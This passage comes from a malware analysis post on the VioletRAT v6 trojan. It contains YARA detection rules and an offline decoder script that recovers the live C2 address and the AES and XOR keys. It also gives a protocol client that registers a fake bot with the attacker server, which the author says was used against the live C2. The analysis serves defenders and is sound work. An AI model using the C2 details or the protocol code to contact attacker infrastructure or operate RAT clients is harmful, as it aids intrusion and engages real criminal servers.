$violet_ver = "VmlvbGV0IHY2" wide // "Violet v6"
$aes_pw = "WFNYU1hTWA==" wide // "XSXSXSX"
$xor_key = "VEZpSUpyUA==" wide // "TFiIJrP"
$vb1 = "Microsoft.VisualBasic" ascii
$clr = "_CorExeMain" ascii
condition:
uint16(0) == 0x5A4D and pe.number_of_sections >= 2 and
$clr and $vb1 and
2 of ($violet_tag, $violet_ver, $aes_pw, $xor_key)
}
rule VioletRAT_v6_winrar_masquerade
{
meta:
description = "VioletRAT v6 builds spoofing WinRAR 7.x with internal name antimalwaver.exe"
author = "taogoldi"
version = 1
date = "2026-06-25"
hash = "2bf04b9a583e6f1efa661a43d357bc8ea143bcb53fa87f81081347ee2feb80eb"
tlp = "TLP:CLEAR"
family = "VioletRAT"
strings:
$company = "Alexander Roshal" wide
$product = "WinRAR" wide
$internal = "antimalwaver.exe" wide
$violet = "VmlvbGV0IHY2" wide // "Violet v6"
condition:
uint16(0) == 0x5A4D and
$violet and 2 of ($company, $product, $internal)
}
rule VioletRAT_v6_command_protocol
{
meta:
description = "VioletRAT v6 C2 command tokens and WMI AV enumeration (Base64 literals, UTF-16LE)"
author = "taogoldi"
version = 1
date = "2026-06-25"
hash = "2bf04b9a583e6f1efa661a43d357bc8ea143bcb53fa87f81081347ee2feb80eb"
tlp = "TLP:CLEAR"
family = "VioletRAT"
strings:
$c1 = "JWNvbW1hbmRTZW5kRmlsZSU=" wide // "%commandSendFile%"
$c2 = "JWNvbW1hbmQ2NCU=" wide // "%command64%"
$c3 = "JWNvbW1hbmQ2NSU=" wide // "%command65%"
$c4 = "JWNvbW1hbmQ3MSU=" wide // "%command71%"
$w1 = "U2VsZWN0ICogZnJvbSBBbnRpdmlydXNQcm9kdWN0" wide // "Select * from AntivirusProduct"
$w2 = "XHJvb3RcU2VjdXJpdHlDZW50ZXIy" wide // "\root\SecurityCenter2"
condition:
uint16(0) == 0x5A4D and
(3 of ($c*) and 1 of ($w*))
}
rule VioletRAT_v6_amsi_bypass
{
meta:
description = "VioletRAT v6 in-memory AMSI bypass tied to the Violet plugin loader"
author = "taogoldi"
version = 1
date = "2026-06-25"
hash = "2bf04b9a583e6f1efa661a43d357bc8ea143bcb53fa87f81081347ee2feb80eb"
tlp = "TLP:CLEAR"
family = "VioletRAT"
strings:
$amsi = "amsi.dll" wide
$proc = "AmsiScanBuffer" wide
$vp = "VirtualProtect" ascii
$gpa = "GetProcAddress" ascii
$violet = "VmlvbGV0IHY2" wide // "Violet v6"
condition:
uint16(0) == 0x5A4D and
$amsi and $proc and $vp and $gpa and $violet
}
A Suricata companion rule is of limited value here: the C2 is raw TCP on a non-standard port with an AES-encrypted body, so there is no stable plaintext URI. Detection on the wire is best approached via IP/port reputation (195.63.145[.]169:7000) plus an ECB-block-repetition heuristic; a flow-based behavioral rule is possible but would need tuning to avoid false positives on other AES-over-raw-TCP traffic.
Analysis Tooling
Two small Python scripts carried most of this analysis. Both are in the repo under scripts/.
decoder.py
This is the workhorse. It re-implements VioletRAT’s two crypto layers offline (the string layer is Base64 + XOR("TFiIJrP"), the packet layer is AES-128-ECB keyed by MD5(password)) and adds a helper that recovers dispatcher command names. It was used three ways: to decode the embedded config (recovering 195.63.145.169:7000), to decode the approximately 110 encoded command constants into the command table, and as the engine behind the bulk dump in reports/json/decoded_strings.json. Run with no arguments it prints the config, AES key, and a sample of the command table; given a Base64 argument it decodes an arbitrary string-layer blob.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
"""VioletRAT v6 string/config decoder.
Layer 1 (config + UI strings): Base64 -> XOR (repeating key 'TFiIJrP') -> UTF-8.
matches method UWiacKqtEeAk8xm0l9y6() in the obfuscated assembly.
Layer 2 (C2 packet body): AES-128 ECB, key = MD5(password), default password 'XSXSXSX'.
Usage: decoder.py # decode known config blobs
decoder.py <b64str> # decode an arbitrary layer-1 blob
"""
import base64, sys, hashlib
XOR_KEY = b"TFiIJrP" # base64 'VEZpSUpyUA=='
def layer1(b64s: str) -> str:
raw = base64.b64decode(b64s)
return bytes(c ^ XOR_KEY[i % len(XOR_KEY)] for i, c in enumerate(raw)).decode('utf-8', 'replace')
def decode_command(literal: str) -> str:
"""Recover a dispatcher command name from the source FromBase64String literal.
Each branch compares EncodeString(received_cmd) == constant, where
constant = b64decode(literal) and EncodeString = Base64(XOR(cmd)).
So: cmd = XOR(b64decode(constant)). Plaintext '%command%' tokens pass through."""
constant = base64.b64decode(literal).decode('latin-1')
if '%' in constant:
return constant
raw = base64.b64decode(constant)
return bytes(c ^ XOR_KEY[i % len(XOR_KEY)] for i, c in enumerate(raw)).decode('latin-1')
def aes_key(password: str = "XSXSXSX") -> bytes:
return hashlib.md5(password.encode('utf-8')).digest()
# dispatcher literals (as they appear in the assembly) and the embedded config globals
COMMAND_CONSTANTS = ["SmlNSw==", "RndvbUdnOD0=", "SVNnQUp6a0dNVGdx",
"TXlNZElDUVVQdz09", "Rnk4Rk9Ub1hJZz09", "SEJBbkNnPT0=", "RUFJR09oaz0="]
CONFIG = {"C2_host": "Wlg5Y1ozeEJmbVZ5WEdkN1JHaz0=", "C2_port": "WTNaWmVRPT0="}
if __name__ == "__main__":
if len(sys.argv) > 1:
for a in sys.argv[1:]:
print(f"{a} -> {layer1(a)!r}")
sys.exit(0)
print("== embedded config ==")
for name, blob in CONFIG.items():
inner = base64.b64decode(blob).decode('utf-8', 'replace') # global = base64(layer-1 blob)
print(f" {name}: {layer1(inner)!r}")
print(f" AES key (pw 'XSXSXSX') = MD5 = {aes_key().hex()}")
print("== sample commands ==")
for c in COMMAND_CONSTANTS:
print(f" {c:18} -> {decode_command(c)!r}")
Output:
1
2
3
4
5
6
7
8
9
10
11
12
== embedded config ==
C2_host: '195.63.145.169'
C2_port: '7000'
AES key (pw 'XSXSXSX') = MD5 = 679bcea2b6c93957139ca6893dbd7ece
== sample commands ==
SmlNSw== -> 'rec'
RndvbUdnOD0= -> 'CLOSE'
SVNnQUp6a0dNVGdx -> 'uninstall'
TXlNZElDUVVQdz09 -> 'getinfo'
Rnk4Rk9Ub1hJZz09 -> 'Cilpper'
SEJBbkNnPT0= -> 'HVNC'
RUFJR09oaz0= -> 'DDosS'
c2_capture.py
The second script speaks the C2 protocol, to validate the reversing and to try to capture an operator-pushed plugin. It is deliberately capture-only: it registers a fake bot, answers keepalives to stay connected, and saves every received frame, but it never executes a command, starts a process, or loads a pushed assembly. It also refuses to connect unless egress leaves through a configured proxy (a one-off ALLOW_DIRECT=1 override was used for the single explicitly-authorized direct attempt). The protocol core is small, and it is the practical proof that the framing and crypto above are correct:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Cipher import AES
import hashlib, socket
KEY = hashlib.md5(b"XSXSXSX").digest() # default session key
SEP = "<Violet>"
def enc(msg): # AES-128-ECB + PKCS7
d = msg.encode(); pad = 16 - (len(d) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(d + bytes([pad]) * pad)
def dec(ct):
pt = AES.new(KEY, AES.MODE_ECB).decrypt(ct)
return pt[:-pt[-1]] if pt and 1 <= pt[-1] <= 16 else pt
def frame(msg): # <ascii-len>\x00<ciphertext>
ct = enc(msg)
return str(len(ct)).encode() + b"\x00" + ct
def recv_frame(sock): # mirror of the bot's byte-at-a-time parser
lenbuf = b""
while True:
b = sock.recv(1)
if b in (b"", b"\x00"):
break
lenbuf += b
n = int(lenbuf or 0)
ct = b""
while n and len(ct) < n:
ct += sock.recv(n - len(ct))
return n, ct
# registration: INFO<Violet>HWID<Violet>user<Violet>OS<Violet>Violet v6<Violet>...<Violet>group-id
reg = SEP.join(["INFO", hashlib.md5(b"lab").hexdigest(), "Admin",
"Windows 10 Pro SP 64bit", "Violet v6", "25/06/2026", "25/06/2026",
"Program Manager", "Windows Defender", "WindowsAntimalware", "Nothing",
"8e25f5bc7b744fc16b148c096d44e87fbfab1dd94e7952be07defec8413a486c"])
# s.sendall(frame(reg)); then loop recv_frame(s) -> dec(ct).split(SEP) [capture only, never execute]
This client connected to the live C2, and the server’s behavior suggested the registration frame was syntactically acceptable before resetting the session, as described in the live-probe section. The full version, with the proxy pre-flight and safety guards, is scripts/c2_capture.py.
Conclusion
VioletRAT v6 is a competent, unoriginal commodity RAT. Nothing is novel in the cryptography (Base64 + XOR for strings, AES-128-ECB keyed by an MD5 of a default password for packets) or in the delivery (WinRAR version spoof, svchost.exe drop, Run key plus scheduled tasks). What makes it worth documenting is breadth: a single 70 KB VB.NET stub exposes 110 command branches spanning surveillance, theft, DDoS, ransomware, and worm spread, and extends itself at runtime with C2-pushed .NET plugins loaded after an in-memory AMSI bypass.
For defenders the weak points are concrete. The ECB mode and default XSXSXSX password make sessions that never rotate the key decryptable offline with a single MD5 computation. The static XOR key TFiIJrP recovers the entire config without running the sample. The <Violet> separator, the Cilpper typo, the WindowsDefender Run value, and the mutex vzOrETV8nZcIYnJA are durable anchors that outlast the C2 IP. The WinRAR-versus-antimalwaver.exe inconsistency stands out under any version-info review. The single hard-coded C2 means one block silences the implant, though the IP is short-lived; the YARA rules key on family-level string markers and should survive the builder’s renamer across future v6 builds.
What this analysis does not claim: the sample is not AsyncRAT – the machine classifier label was disproven on evidence. This is not a novel family. The grabber targeting lives in operator-pushed plugins that the stub never carried, so no browser or wallet target list can be derived from this file alone; any inventory of plugin capabilities would require capturing live tasking, which did not happen here.
References / Sources
Most technical findings in this post come from static reversing of the sample itself; the sources below were used for family/context validation and external provenance.
- derp.ca, “VioletWorm v4.7 (Violet RAT): The Most Dangerous Payload in a 9-RAT Toolkit” (public analysis of the prior major version).
- Hatching Triage reports
260620-31ea5sbt5wand260621-aa84lsav2j(generic behavioral tags only). - Vendor/forum listings for VioletRAT (violetrat[.]net, violetsoftware[.]net) corroborating the capability set and builder model.
taogoldi – TLP:CLEAR – 2026-06-25


